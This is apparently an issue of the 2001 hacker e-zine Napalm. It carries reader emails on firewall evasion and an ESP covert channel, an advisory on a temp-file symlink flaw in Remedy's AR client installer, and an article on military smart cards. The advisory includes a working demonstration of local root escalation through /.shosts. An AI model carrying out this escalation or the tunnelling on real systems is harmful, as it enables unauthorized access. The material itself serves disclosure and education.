Copy Link
Add to Bookmark
Report
Napalm 11
/\ /^/_ _ __ __ _|^|_ __ ___
/ \/ / _` '_ \/ _` | | '_ ` _ \
/ /\ / (_| |_) (_| | | | | | | |
/ / \/ \__, .__/\__,_|_|_| |_| |_|
|_|
. . . ..n11: 2001.07.16
---------------------------------------------------------------------------
all content copyright © 2001 by the individual authors. all rights reserved
---------------------------------------------------------------------------
# prtvtoc
. . . .....................................................................
0x00 Editor's Comments
0x01 Subscriber Emails
0x02 Security Holes in Remedy Client Installer
0x03 Multi-Technology Automated Reader Cards (MARC)
0x04 Chaffing as an Alternative to Encryption (Part II)
0x05 Music Reviews
0x06 Credits
..................................................................... . . .
___________________________________
--------------------------- - kynik
[=] 0x00: Editor's Comments
I have a gripe. Yep, you lucky readers get to hear it. It's about
plagiarism and partially about big business. To set the scene, I search
the web periodically for sites that use Napalm's material. They might have
either a mirror of some or all of our issues, or they have a single
article they found useful. 95% of the time, proper attribution is given,
either by posting the entire issue (with copyright notice at the top) or
by giving the author and/or Napalm credit somewhere. Sure, I've sent some
emails to people asking them to attribute the material they've taken from
Napalm to its rightful owner. And in every case so far, they've complied
and added a little note to the link or to the document. I'm perfectly cool
with that. Now, you wouldn't think that big businesses pay much attention
to this little zine or its contributors.
Echo8 recently sent an email out to a few of us, part of which follows:
I found out today that Sun finally patched the hole I reported in Volume
Manager last year (the article I submitted for Napalm 6). I also found
out that their bug report basically ripped off my work, verbatim.
The patches: 110029-02, 110032-02, 110030-02. These are available to the
public at sunsolve.sun.com. Sun gives credit to Veritas for discovering
the hole, which is complete bullshit.
The bugid: 4345464. This is available only to those with Sunsolve
logins. This is where they commit a fairly blatant act of plagiarism.
They copied almost my entire write-up, exploit included.
I mean, come on, Sun...how hard is it to give credit to an independent
security researcher like echo8? It's a great de-motivator for him, I'm
sure. I sent them a comment through one of their online forms:
The bug ID indicated by the URL above contains plagiarized and
copyrighted material. Compare
http://napalm.firest0rm.org/issue6.html#vvm
with the content of the above page. You will see that the page at
sunsolve is almost an exact copy of the article included in that issue
of Napalm e-zine. As with every issue, there is a copyright notice which
states that every article is the copyright of the individual authors, in
this case, echo8. I will normally accept mirroring or use of material
found in Napalm provided that we are A) given notice of the use and
B) attributed in a clear way.
I politely ask that you attribute discovery of this bug to echo8 and
either link to Napalm or indicate which issue the article appeared in.
I don't think that was too much to ask, do you? Any commentary on this
would be greatly appreciated.
___________________________
---------------------------
[=] 0x01: Subscriber Emails
Brad Copely <bradcopely@yahoo.com> wrote:
My ISP uses a firewall (I'm assuming) to stop incoming
connection attempts to my computer. Is there any way
to get around, or at least explore this problem? I'm
on a cable network in Japan.
[ If you can determine the ports that they're blocking, you can certainly
run your services on non-standard ports. Your webserver could run on
port 8888, your ftp on 2121 and so on. If you have any firewall software
on your computer (BlackIce Defender for Windows, ipf/ipchains for the
*nixes), get on a host outside your network and portscan yourself. Look
back at your logs and see which ports weren't let through. {kynik}]
-----------------------------------------------------------------
Kyle Amon <amonk@gnutec.com> wrote:
Nice to see some pretty real shit pop up now and again.
Keep up the good work.
-- Kyle
[ We do appreciate your comments, Kyle, thanks! {kynik} ]
-----------------------------------------------------------------
Monkey Boy <monkey-boy@biteme.com> wrote:
Kynik,
Just read issue 10, top stuff as usual (especially the chaffing thing,
interesting idea...look forward to your code)... but what happened? You
said you were gonna include my comments on the IPSec covert thing (see
below)... where are they? i wanna be famous, dammit! ;o)
keep up the good work
peace
Monkey-Boy (uk)
[ Yep, that was my mistake...I lost track of some of the commentary
monkey-boy had, but I'll add that in now. Hopefully this clears up some
questions that you may have had {kynik} ]
> It wasn't my article, but I'll be happy to try and clarify. I'm also
> including this in the next issue, if you don't mind. I've cc'd ajax, the
> author of the article on this as well.
>
> On Wed, 7 Feb 2001, Monkey Boy wrote:
>
>>> re:IPSEC/ESP covert channel (issue 9)...
>>>
>>> as usual another interesting article, just a few questions tho'...
>>>
>>> (i'm relatively new to this security lark, so let me off if i've made
>>> some huge error ;-)
>>>
>>> you admit that the host inside the firewall will need to have been
>>> compromised, and if this is the case could you not just send your data
>>> (that you want to get into their network) via a normal IPSEC packet
>>> configuration? (we already know the firewall will let this through, as
>>> this is the 'hole' you are exploiting). Admittedly this means that
>>> SA's would be visible on the compromised machine...
>>
>> This is what he was proposing, as far as I can see. Remember what ajax
>> said at the beginning of the article:
>>
>> ]IPSEC is not a protocol. IPSEC is a big towering ugly wump of
>> ]protocols, all residing at various levels in the ISO model. Among them
>> ]are ESP and AH, which kinda live in the transport layer; and ISAKMP,
>>
>> He's using ESP packets to bypass the filtering on the firewall. And since
>> they're encrypted (supposedly), the firewall can't do anything anyways.
See, what I thought he was trying to do was to get a packet that *looked*
like it was an encrypted ESP packet (though it is in fact a cleartext
packet, that looks like ESP) through the firewall, and my point was if
you are being this sneaky why not just actually use a 'real' IPSEC tunnel
to the compromised host (if the firewall is letting through ESP, it
follows it should be allowing the rest of IPSEC through, non?)... As i
said guess it just means you can cut down on SA setup overhead traffic
(though would you not need to have a shared key to allow the ESP
encrypt/decrypt to work, if (as you assume) the packet is actually ESP'd
(and not a cleartext that *looks* like ESP, as i assume)?
[ I don't think I was totally clear on this, but you got the right message
anyways. The packets we're sending out don't _have_ to be actually
valid, encrypted ESP packets. Sure, they could, but that's probably
more trouble than it's worth. If you wanted some sort of encryption,
you could roll your own, too. It doesn't matter to the firewall. It
just assumes that since ESP packets are _supposed_ to be encrypted,
trying to filter ANYTHING that looks like an ESP packet is a waste of
time. Thus the tunnel. {kynik} ]
>>> If you use your exploit, will the compromised host not think that the
>>> covert channel packet it has received is an ESP packet and try and
>>> decrypt it, and fail, therefore setting off alarms/debug messages?
>>> (similarly if the firewall is only letting IPSEC/ESP packets through to a
>>> VPN device to decrypt, will this VPN device not try & decrypt (and fail
>>> as before) before dumping the packets out to your compromised host?
>>
>> No, because you've modified the host to accept these ESP packets as a
>> wrapper, strip off the wrapping and pass the traffic to the TCP/IP stack.
>> If the host actually relies on ESP packets getting to it, you could
>> probably modify the code that handles that and be able to set a flag that
>> would distinguish legitimate IPSEC from tunnelled traffic. If you have a
>> dedicated VPN device inside your firewall, it won't notice the packets
>> unless they're addressed to it. Assuming we have a separate host from the
>> VPN appliance, we're banking that the firewall is misconfigured (aren't
>> they always?!) and that it'll let through ESP to anything on the local
>> network. The firewall could be set up to only allow incoming ESP traffic
>> to the VPN appliance, in which case we're foiled.
Guess it was just wishful thinking that *all* firewalls would be
configured to only let IPSEC/ESP through to the appropriate place (i.e.
the VPN device or a host doing IPSEC)... living in a dream world again ;-)
Would be interested to hear what ajax has to say; over to you, my friend
[ Me too. He stayed totally silent when this email exchange went on. Care
to enlighten us, ajax? {kynik} ]
___________________________________________________________
--------------------------------------------------- - echo8
[=] 0x02: Security Holes in Remedy Client Installer
Summary
-------
Due to improper handling of temporary files, the installer program for
Remedy Software's Action Request System client for unix can allow local
users to gain root privileges.
Details
-------
The installer script for the unix AR clients (ar_install) uses files with
predictable names in world-writeable locations to store temporary files
and logging information. The code does not check to see if the files exist
before writing to them, or if the files are symbolic links to something
else. A local user can exploit this (by symbolically linking the target
files to something else ahead of time) to create or overwrite files
anywhere on the system. If the AR client is installed as root, this type
of attack can be used by unprivileged users to gain root access under the
right circumstances (eg. a local user knows that the AR client will be
installed on a system in the near future).
There are several instances of this problem in ar_install. A few examples:
# Name of the file to record a log of the installation into
#
LOGFILE="/usr/tmp/arClient_install.log"
...
############################################
# lecho - Logged echo to stdout
# Arg 0 to N = Data to be echoed
############################################
lecho()
{
echo "$@" >> $LOGFILE
echo "$@"
}
The lecho function is then frequently used to write logging data to
$LOGFILE.
Another example:
#
# Test if "ex -" has any problem on this machine. If there is, use "ex"
#
echo "$PROD" > /tmp/ex.test
ex - /tmp/ex.test << EOF
/$PROD/
s/$PROD/$PROD_LONG/
w!
q
EOF
RET=$?
RES=`cat /tmp/ex.test`
if [ \( $RET -eq 0 \) -a \( "$RES" = "$PROD_LONG" \) ]
then
EX="ex -"
else
EX="ex"
fi
Demonstration
-------------
$ hostname
brokenhost
$ id
uid=5000(foo) gid=20(users)
$ ln -s /.shosts /var/tmp/arClient_install.log
$ ls -alt /var/tmp/arClient_install.log
lrwxrwxrwx 1 foo users 8 Apr 12 14:57
/var/tmp/arClient_install.log -> /.shosts
...wait for root to run ar_install...
$ ls -alt /.shosts
-rw-rw-rw- 1 root other 50873 Apr 12 14:58 /.shosts
$ cat > /.shosts
brokenhost foo
^D
$ ssh -l root brokenhost
Last login: Thu Apr 12 14:50:30 from someotherhost
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
brokenhost # id
uid=0(root) gid=1(other)
brokenhost #
Vulnerable Versions
-------------------
I have tested this on Solaris 2.6 and 8, using the installer for AR 4.5.1.
The installers for the other supported unix versions (Irix, AIX, HP/UX and
NCR System 3000) contain similar issues, so it's likely that they are
vulnerable as well. The older versions of AR that are available for some
platforms (3.2.1) use a different install script. That script uses
different filenames, but appears to have similar flaws.
Workaround
----------
If the AR client is being installed on a single-user workstation, it can
be installed as a non-root user (this is not the default, but the
documentation explains how to do it).
If the AR client must be installed as root, ar_install can be trivially
modified to avoid using a world-readable/writeable space to store its
temporary files.
Vendor Notification
-------------------
The vendor was notified on 4/13/2001.
Copyright 4/12/2001, by echo8
________________________________________________________________
------------------------------------------------------- - _azure
[=] 0x03: Multi-Technology Automated Reader Cards (MARC)
Common Access Cards (CAC)/Multi-Technology Automated Reader Cards (MARC)
/Introductions and Explanations
I first heard about the MARC card some time in 1996 via a United States
Navy website. The information was passed to me by the non-religious
progeny of a local Mennonite family. MARC was already a functioning beta
program at that time. The website where I gleaned my initial information
is no longer accessible to the public. However, the Department of Defense
has continued to develop the program over the course of the last few
years.
During this interim, the project has metamorphized somewhat. Currently,
MARC has been renamed to SMART. The card itself has been re-christened
as the Common Access Card (CAC). Other cards/systems have been tested
and are also functioning to similar results (and in general, accolades
from the military community). A transformation is occurring in the way
our government tracks and deploys its considerable resources. This
article aims to provide an overview of different smart card technologies
and some of their various physical specifications. I will also provide a
brief timeline outlining the development cycle of several different
systems, and their integration into military life. Most of this
information is cobbled together from various sources (official .gov and
.mil sites), and portions of this article are lifted verbatim from those
sources. References are provided at the end of the article.
/Types
_/MARC
The Multi-Technology Automated Reader Card (MARC) project was initiated
in response to a proliferation of single use, updatable technology
programs throughout the Department of Defense. The MARC project evaluates
the concept of providing a multi-functional, cross-service utility card
capable of satisfying multiple requirements within the DOD for a portable
updatable medium. The MARC test program moves the DOD toward a "one card
per soldier" concept for portable data carriers.
The MARC is an individually carried smart card that has several media:
a standard 3 of 9 bar code, magnetic stripe, embossed data, printed
information (including a digital photograph), and an Integrated Circuit
(IC) computer chip.
The combination of several media on one credit card-sized device gives
the MARC its versatility: it can interface with a variety of technologies
and systems, from rudimentary imprinting machines to computer systems
that use IC chips as data carriers.
The MARC Card consists of a Datacard Corporation MIC-1600 ICC card
containing a 2K byte reusable (EEPROM) memory and microprocessor chip, a
three-track magnetic stripe, a 3 of 9 bar code and various embossed data,
including the holder's photograph. The card is a standard, CR-80 size
plastic card that conforms with ISO 7816/1. The microprocessor contains a
Smart Card Operating System (SCOS) used to organize the MARC data into
files and protect them from unathorized access. The MARC connects to
various smart card readers through metallic contacts on the face of the
card which are compatible with ISO 7816/2 specifications. Data on the
card is accessed through a Smart Card User Interface (SCUI) which, in
conjunction with the SCOS security features, controls all access to the
MARC data and security features in a flexible, controlled manner.
Additional technologies, including the use of holograms, laminiated
photos, and the Portable Data File (PDF-417) two-dimensional bar code,
are being considered.
---/Smart Card Operating System (SCOS)
The MARC smart card contains a SCOS from Datacard Corporation under a
licensing agreement with Personal Computer Card Corporation (Pc3). The
SCOS provides a high level command language that supports data structures
and access to files and records. Password keys are assigned to control
reading and writing of individual data elements and sets.
---/Smart Card User Interface (SCUI)
The SCUI provides a standardized, but highly flexible and tailorable
interface between the application and the data on the MARC. A tailored
card for each individual application provides the necessary structure and
security information to allow the application to access the MARC data
without the possibility of affecting other applications' data.
---/Security
Files are protected from unauthorized access by requiring that one or
more password keys be submitted to the ICC. Incorrect key submissions
lock access to all files protected by the key until it is submitted
correctly. For security reasons, only correct key submissions are
confirmed. Eight successive incorrect key submissions permanently locks
the card. To ensure the MARC cardholder controls and is aware of all data
written, the individual is required to submit his or her Personal
Identification Number (PIN) before any data (with the exception of field
medical treatment data) can be written to the ICC.
---/Communications Protocol
Communication with the microprocessor module is based on the protocol
defined in ISO 7816/3. Full ISO compatible (t=0) protocol is supported.
_//Technical Specifications
---/Microprocessor
62C580
3.57MHz clock
4.50 - 5.50v, 10ms
Reset duration 10ms
---/Serial Input/Output
9600bps asynchronous, 8 bit data
ISO (t=0) and Pc3 protocols
Transmit turnaround delay: 5ms
Line timeout: 1.0 seconds
Reset response: conforms to ISO 7816/3
Response delay < 10ms
---/Keys
Issuer, PIN, and 8 application keys
1-8 characters
8 retries
---/Memory
1920 bytes data and File Descriptor Table storage
64 data files maximum
256 bytes per record
10,000 erasures
---/Physical Characteristics
86mm x 54mm x .84mm
ISO 7816/2 standard contacts
10,000 insertion cycles / 10 year data retention
---/Environment
0 to 70 degrees centigrade operating
-40 to 125 degrees centigrade storage
30 to 80% non-condensing operating
5 to 95% non-condensing storage
_/AMS Optical Memory Card
The AMS is a user-friendly software package designed to operate at
different supply points: the depot, central receiving/shipping points
(CRSPs), and supply support activities (SSAs). Each of these operations
has similar equipment and software packages that complement the other,
making them compatible. The AMS hardware consists of an IBM-compatible
personal computer, optical memory card reader/writer, bar code reader
(BCR), radio frequency tag, tag docking station, and printer. The AMS
system outputs several different products such as scannable bar code
labels, radio frequency tags, and optical memory cards. The AMS is
currently a stand-alone system that is being incorporated into the
Standard Army Retail System-Objective (SARSS-O) used at the direct
support unit. The AMS is an efficient, cost-effective and compact
shipping manifest and database management system that will expedite
receipt processing when used properly.
The need for AMS arose during evalutaions of the logistical problems
during _Operation Desert Shield/Storm_ in the early 1990s. Supplies were
inadequately manifested. Storage sites had no access or visibility. No
inventory control procedures existed. All these logistical problems led
to major accountability problems. The General Accounting Office (GAO)
cited these accountability problems as the main reason for poor supply
distribution and excessive costs. The Defense Logistics Agency (DLA) then
began a research that developed the AMS.
The AMS's key component for reducing receipt processing is the optical
memory card. The size of a typical credit card, the optical memory card
provides detailed information on the contents of each multipack or
containerized shipment. Each card accompanies its multipack or container
to its final destination.
The optical memory card accesses and updates the SARSS database, which
results in the immediate search and retrieval of high-priority items.
The AMS, and specifically the optical memory card, are designed to
interface with all the military services' retail supply systems. This
interface enables asset visibility, expedites receipt confirmation,
automates the reconciliation process, gives automated reports of
discrepancy, and creates issue and packing lists for supported customers.
The laser optical memory card has many advantages. The optical memory
card can store 2.5 million bytes of information (approximately 1,200
pages of hard copy). It costs only $4.00 per card. Very resilient, the
optical memory card can withstand temperatures from -40 to +212 degrees
Fahrenheit. In addition, it is not affected by severe weather, water or
shock damage. The optical memory card also has a protective coating that
shields it from magnetic fields, electrostatic, and radio frequency
interference.
The optical memory card allows a database to prioritize offloading and
issue, which gets high-priority supplies to the unit quicker. This system
will eliminate the backlog of processing shipments. Before the AMS, 40
personnel worked three shifts to receive and process receipts from a
standard shipment. With the introduction of AMS, four soldiers can
complete the same tasks in a single shift.
/History
_/Timeline
The following is a brief overview of smart card deployment throughout
the last several years. Source material is footnoted where appropriate.
_//1993
---/November
- MARC testing begins at Fort Bragg, NC. The cards' success at the
initial site led to further testing in Hawaii.
_//1994
---/February
- Initial MARC test at Fort Bragg, NC and Hawaii ends.
---/August
- 25th Infantry Division (Light) US Pacific Command (PACOM), Hawaii,
begin participating in the MARC test.
Hardware and software is installed and food service personnel and
Personnel Administration Center (PAC) staff are trained on the new
equipment and procedures.
Information Technology Solutions, Inc., of Petersburg, Virginia,
under contract with the product manager for the Army Food Management
Information System (PM AFMIS), trains 90 food service workers from 12
dining facilities and 37 PAC employees.
The headcounters at each dining facility serve as the main testers of
AHC. They operate a handheld computer called a Portable Data
Collection Device (PDCD), a commercial off-the-shelf item made by
Telxon, Inc. Diners hand their MARC to the headcounter, who verifies
the holder's photo on the card and scans it through the PDCD.
The PDCD reads each diner's status and MEC to determine the correct
cost of the meal. The basic information recorded by the PDCD includes
the first five characters of the diner's last name, the diner's
social security number, meal type, payment method, and amount paid.
Recording these data electronically eliminates the need to collect
signatures from MARC holders at the headcount station and reduces the
paperwork required to collect headcount data.
The PDCD keeps an up-to-the-minute record of diners served and cash
collected. It also compiles summary information that speeds up
post-meal accounting.
The PDCD transmits data collected to the AFMIS 3B2 minicomputer after
each meal. However, the PDCD has sufficient memory capacity to store
information on multiple meals should the AFMIS system be inaccessible
or inoperable.
Automated Head Count (AHC) gives the BAS diner the option of paying
for his meal with cash or by payroll deduction. If the diner chooses
the payroll deduction option, the headcounter hands the diner the
PDCD, and the diner enters a four-character personal identification
number (similar to a transaction at a bank's automated teller
machine). Payroll deduction data are sent through the Defense Data
Network to the Defense Finance and Accounting Service for entry into
the Defense Joint Military Pay System.
Payroll deductions posted before the 15th of the month appear on that
month's Leave and Earnings Statement (LES). Payroll deductions made
after the 15th of the month appear on the next month's LES.
- MARC has already been issued to soldiers stations at Fort Shafter,
Oahu and marines at Marine Corps Base, Kaneohe Bay. [a]
---/October
- MARC is distributed throughout the 25th Infantry Division (Light), US
Army Hawaii (USARHAW), 45th Support Group and the 703d Military
Intelligence Brigade.
_//1995
---/January
- AHC prototype test at Schofield Barracks, Hawaii.
- MARC is put to the "real test" during the deployment of 3,600
soldiers from the 25th Infantry Division to _Operation Uphold
Democracy_ in Haiti. The card accounts for personnel readiness by
updating and processing key information to the MARC during the
Preparation for Overseas Movement (POM). Based on 25th Infantry
Division requirementns, the MARC program produces two spin-off cards
for issuing in Haiti. The first is an access control card for local
national employees and the second an access control card for secure
areas. After the success of the MARC during _Operation Uphold
Democracy_, Marine Forces-Pacific requests inclusion in the MARC test
bed.
---/September
- The card is issued to all Marines in Hawaii. The US Marine Corps
modifies the MARC to serve as a field training record and shipboard
accountability card, in addition to the card's basic design.
_//1996
- The Clinger-Cohen Management Reform Act of 1996 (Section E of Public
Law 104-106) is passed. [b]
---/April
- The 77th Maintenance Company's Class IX (repair parts) SSA, operating
out of Camp Tampa, Bosnia, is fielded the AMS. The AMS's ability to
use the optical manifest card to batch process incoming shipments
from the depot cut the time that parts spent in the receiving section
of the warehouse in half, saving about 80 manhours of work per week.
- Approximately 18,000 25th soldiers asssigned to the Hawaii units
participate in a prototype test of AHC in which they used the MARC as
a substitute for the regular meal card.
---/July
- Fort Hood, Texas, July 15, Staff Sgt. Joseph K. George of 2nd
Platoon, 4th Military Police Company, 4th Infantry Division, was one
of the first soldiers to get his hands on the hand-held data entry
device for the MARC system. He puts the unit through extensive
durability and temperature tests. [c]
---/October
- DOD funding for the two-year Hawaii MARC card test ends. After the
success of MARC, the commander of the 25th Infantry Division and
USARHAW decides to continue the program throughout FY97 for division
and USARHAW units. The 25th Infantry Division and USARHAW food
service chief says the MARC in the dining facility was a success and
the Army needs to keep the card. The MARC ends all paperwork
associated with the meal cards. Also, the card is needed for
deployments to update soldier information during predeployment POM.
The only consequence to units that decide to use the MARC is funding.
The cards are funded internally. Continued funding for the project
beyond FY97 is uncertain. Efforts continue to secure funding to
expand the MARC program Armywide in FY98.
_//1997
---/July
- Floor Statement by U.S. Senator Charles S. Robb (D- Va.) proposes $36
million in funding for FY98 to expand the MARC program. [d]
---/September
- Sen. Charles S. Robb votes in favor of the Fiscal Year 1998 Defense
Appropriations bill. The measure passes the Senate by a vote of 93-5.
[e]
_//1998
---/April
- Army begins issuing 18,750 smart cards to to basic training recruits
at Fort Sill, Okla., as part of a year-long pilot program.
- On April 6, the United Press International reports recruits will use
the cards to buy toiletries, clothing and stamps, get haircuts and
make telephone calls during basic training. It also states that a
lost smart card "can be easily replaced and because each card is keyed
to a recruit's fingerprint, it cannot be used by others." The article
reports that the $4 million smart card pilot program is a joint
project of the Army, the Treasury Department, Mellon Bank, the
Defense Finance and Accounting Service, and the Army and Air Force
Exchange Service.
- Defense Finance and Accounting Service spokesperson Fran Gurka, who
is coordinating the smart card program, says: "The card offers a
sense of security not available with cash. When recruits were paid in
cash, if they lost it, tough luck." [f]
---/August
- Approximately 4,200 multi-technology smart cards are issued to all
cadets at the USAF Academy.
The Gemplus 4K MPCOS-EMV card was issued with 3-G International's
Multi-Application Reader Card (MARC) architecture and Smart Card User
Interface (SCUI). This smart card's initial application is Product
Technologies, Inc.'s SmartCity electronic purse. The e-purse can be
used at the washers and dryers in the laundromats, to make copies in
the library, and to purchase snacks. Other point of sale locations
are being added. Disposable stored value smart cards are also
available for purchase by USAFA employees and faculty. Additional
smart card applications will be added in the near future. For
example: room access control, medical, manifesting, and training
qualifications and test dates.
_//1999
- The Paperwork Elimination Act of 1999 (Public Law 105-277) is passed.
[g]
---/April
- On April 2, 1999, the Undersecretary of the Navy designates the
Department of the Navy Chief Information Officer (DON CIO) as the
DON lead for Smart Card Technology by memorandum directive. [h]
---/May
- A Smart Card Office is chartered on May 24, 1999 to provide focus and
management for Smart Card efforts within the Department of Navy. [i]
- The Smart Card Program at NTC Great Lakes (Department of Navy) is in
full swing. Applications in use include: Electronic funds, Drug Test
Management, Joint Food Service (automated dinner check-in), Smart
Immune (storage of immunization records), and Smart Dental (storage
of dental records).
Also under developmnent at NTC Great Lakes is Care Central/TRI-MEP.
This application will enhance the special physical exam process by
providing the capability to automatically populate physical exam
forms and download patient care to the Biomedical Databank. Web
development of the application is planned.
Card printing and issue at Great Lakes is the task of the local
Defense Automated Printing Office (DAPS). Every recruit reporting to
Great Lakes receives two smart cards: one temporary card and one
permanent card. The temporary card is issued the day of arrival and
is formatted to allow the use of a purse application. The purse
function, administered by the Navy Exchange, allows the recruit to
purchase required and personal items while undergoing training and
replaces a World War II process of using "chit" books. Medical and
dental information is also written to the card. Near the end of
recruit training, each recruit cashes in any remaining funds on the
temporary card. All demographic, medical and dental information is
transferred to a permanent smart card that also displays a photograph
of the individual. The recruit takes this permanent card to his/her
next duty station and the temporary card is reformatted and reused.
[j]
- Similar programs are deployed at Pensacola, FCTC\NAS Oceana, Atlantic
Fleet Ships/Norfolk, and NMCB Miramar by the Department of Navy.
---/November
- The Deputy Secretary of Defense makes the decision to institute a
Department of Defense-wide "Common Access Card (CAC)" as the
replacement for the existing military identification card. The Army
will adapt this card as its standard military identification. CAC
superceeds MARC as 'the' reference to the smart card within the U.S.
government. [k]
_//2000
- The use of smart cards has become a priority within the Department of
Defense (DOD). Public Law 106-65, National Defense Authorization Act
for Fiscal Year 2000, directs the Army to establish a project office
to cooperate with the Department of the Navy to develop plans for
exploiting smart card technology as a means for enhancing readiness
and improving business processes throughout the military departments.
The Deputy Secretary of Defense's (DEPSECDEF) 10 November 1999 Smart
Card Adoption and Implementation Memorandum mandated the
implementation of the CAC, which will serve as the Standard ID card
for active-duty military personnel (including the Selected Reserve),
DOD civilian employees, and eligible contractor personnel; Principal
card used to enable physical access to buildings and controlled
spaces; Principal card used to enable computer network and system
access; and Primary platform for the PKI authentication token. The
Army sees participation in the development and deployment of this CAC
as an opportunity to respond to the DEPSECDEF memorandum and support
the Army EC mission. [l]
- DOD Public Key Infrastructure (PKI) mandates that all active duty,
selected reservists, civil service and on-site contractors begin
using digital certificates by end of FY2001. The CAC card is the
hardware token for PKI digital certificates.
---/October
- Fort Eustis, Va., U.S. Army Europe in Heidelberg, Germany, and
Yongson Army Garrison, Korea begin a Beta Test of the CAC. [m]
---/December
- The Army interim policy messages for the CAC/SMART Card PKI are made
official. General Cuviello signs the messages on 6 December 2000. [n]
_/The Future
This technology is intended to eventually enter the civillian world as
an identification system. Meant to replace current 'multi-card' systems
and represent a single identification point, MARC (now CAC) will
revolutionize the way Americans authenticate transactions and conduct
business. The ramifications on privacy should be evident. Where will this
'centralized' data be stored, and how/by whom will it be protected?
Beyond concerns of legitimate data warehousing, the question begs to be
asked: Under what authority is this mandatory tracking system being
implemented? Will the CAC replace the state-issued driver's license as
our primary means of identification? Will an option be provided to 'opt
out' of a system with questionable guarantees for personal security? What
organizations will be allowed to gather and traffic in smart card data?
With a centralized means of authentication for practically *all*
societal functions, what happens when a smart card is compromised?
Debate over this topic may not reach the mainstream until cards begin
being issued en masse, and the first cases of MARC/CAC fraud are exposed.
However, with current advertising campaigns promoting the smart card
'idea' (MasterCard and Visa are pioneering this sales pitch), mass
implementation may in fact be *demanded* by the populace as a protection
against online crime. Already, the playing field for this battle is being
defined through television commercials and 'newly exposed' weaknesses in
tradtional identification techniques. Little information is being
presented concerning what measures will be taken to insure the integrity
of the 'data keepers'.
_//Projected Uses for MARC Techology
---/Full Military Deployment
LCDR Tony Smith, Pacific Fleet MARC/CAC program manager, says the
military plans to fully implement the MARC/CAC Program by Fiscal Year
2001 to all active-duty service members, DOD civilians, retirees,
reservists, family members, the Department of Veterans Affairs and the
Coast Guard.
---/Social Security
The Social Security Administration is already investigating methods of
integrating biometric identification into its existing fraud prevention
and detection programs. Initiatives requiring enhanced 'methods' of
tracking beneficiaries have already crept onto the books. MARC/CAC will
represent a decisive solution to the perceived dilemma. [o]
---/Immunization Tracking
As demonstrated by the military, medical and dental histories can be
tracked effectively with smart card technology. Future privacy
initiatives instigated by Capitol Hill will require a secure method of
identifying patients, and reliably storing confidential information.
'Of course, when "the military experienced delays in troop deployments
because personnel records (such as training completed, immunizations)
were not up-to-date and readily available" during the Gulf War, the
Pentagon created a MARC card.' [p]
/Summary
_/Pros
The use of smart cards can save millions of dollars formerly allocated
for paperwork and storage, not to mention staff who are charged with
keeping track of all the paper. Speed of data storage and recovery are
increased, and inaccurate record-keeping previously attributed to human
error can be significantly reduced. The elimination of a physical 'paper
trail' saves on storage costs and reduces the likelihood of accidentally
misplacing or destroying data.
_/Cons
Loss of privacy. Reliance on the "computers don't make mistakes"
syndrome. Whereas paper records stored in disparate locations require a
fair amount of legwork to alter/tamper with, digital records can and will
be altered remotely by individuals or groups who need not ever come in
physical contact with their targets. Digital investigators need not risk
the face-to-face interaction often required to retrieve such information
in today's multi-card world. The advent of the 'paperless permanent
record' adds a new dimension to information-warfare tactics and strategy.
It has not yet been demonstrated that digital identification can be better
protected than its physical-world counterpart.
---/Citizen Protest
It may be prudent to note that 'MARC' probably wasn't the wisest choice
of acronyms for this project. Certain elements within American society
will no doubt draw parallels between the program name (or its stated
goals) and motifs drawn from their own tradtional legends and cultural
backgrounds (this may actually have been what led to the project's
eventual name-change in the late 1990s). Indeed, religious groups have
latched onto the issue with a vengeance. Specification information on the
original MARC program circulated widely on the Internet in 1996,
triggering the (almost immediate) emergence of protest websites and
notices on the World Wide Web. Here are two examples of religious
(Protestant Christian) objections to the program:
http://www.endtimeprophecy.net/~tttbbs/EPN-2/Articles/Articles- \
Mark/marccard.html
http://www.google.com/search?q=cache:www.yellowstoneinfo.com/ \
biochips.htm+charles+robb+MARC+card&hl=en
[ Unfortunately, both of these URLs are invalid by now, since _azure did
write this article several months before it got to me, and I took my
time with it too.
http://www.endtimeprophecy.net/~tttbbs/EPN-2/GroupPages/grupmrk1.html
is the closest thing I could find to the first one, but no sign of the
MARC article. Google's cache of the other page has long since expired
and yellowstoneinfo.com says very plainly on its main page that it has
closed. So much for Internet references. {kynik}]
On the other hand, the 'MARC' acronymn may have been chosen for just
this reason. Psychological Warfare Operations (PSY-OPS) are known to
sometimes coincide with (and co-exist within) legitimate government
projects. Whatever the case, religious organizations 'bit', and
speculation quickly ran rampant. Anti-MARC sentiment spread amongst
like-minded groups on the Internet like wildfire.
Curiously, most organized dissention seems to have dissipated rapidly
when the program underwent its name change. However, goals and methods
of the operation have remained consistent with the earliest documented
efforts I have uncovered.
/Editorial
Smart card technology is here to stay (as much as *anything* ever truly
'stays'). Successful test runs throughout the 1990vs proved that
electronic tracking of human and material resources greatly improves the
efficiency of logistical planning and personnel management. Programs to
integrate smart cards into civilian life are already being implemented
nationwide. As more and more Americans rush to get online, the
digitization of personal information and identification will continue to
escalate until smart cards are considered a 'normal' tool for performing
daily tasks. It is anticpated that future e-commerce systems will take
advantage of the convenience and security (sic) that smart card
authentication bring to the table. Time will tell if this reliance will
prove to be a solid foundation for real-world transactions.
As smart card technology spreads into general use by society at large,
the effects of computerization will become apparent to both proponents
and detractors. The issues that are examined at this time may prove to be
some of the most important factors for the future of privacy and autonomy
in the United States of the 21st Century. A large struggle looms over the
horizon for control of the personal data that defines us as human beings.
In our modern information-based economy, such personal data takes on a
significant dollar value as well as enriching our understanding of
ourselves and those around us. Without careful safeguards on the
confidentiality and integrity of this data, Americans may well find
themselves little more than beasts of burden on the battlefield of the
market economy.
It is imperative that issues of privacy and security be addressed as
these technologies become more prevalant in day-to-day life. It is up to
us to bring these decisions into the forefront of the public
consciousness before it is too late.
40 acres and a mule.
/Closing
_/Footnotes
[a] http://www.chinfo.navy.mil/navpalib/news/navnews/nns96/ \
nns96019.txt
[b] http://www.rdc.noaa.gov/~irm/div-e.htm
[c] http://www.dtic.mil/armylink/news/Jul1996/a19960715force2.htm
[d] http://www.senate.gov/member/va/robb/statements/floor/marc.html
[e] http://www.senate.gov/member/va/robb/releases/nrsep25.html
[f] http://www.monkey.org/geeks/archive/9804/msg00155.html
[g] http://www.ec.fed.gov/gpedoc.htm
[h] http://www.doncio.navy.mil/downloads/memo1.pdf
[i] http://www.doncio.navy.mil/focusareas/smartcard/index.html
[j] http://www.doncio.navy.mil/focusareas/smartcard/greatlakes.html
[k] http://armyec.com/faqs_main.htm#10
[l] http://armyec.com/smartcards/smartcards.htm#background
[m] http://www.dtic.mil/armylink/news/Oct2000/a20001010cac.html
[n] http://armyec.com/smartcards/cacpkipolicy.htm
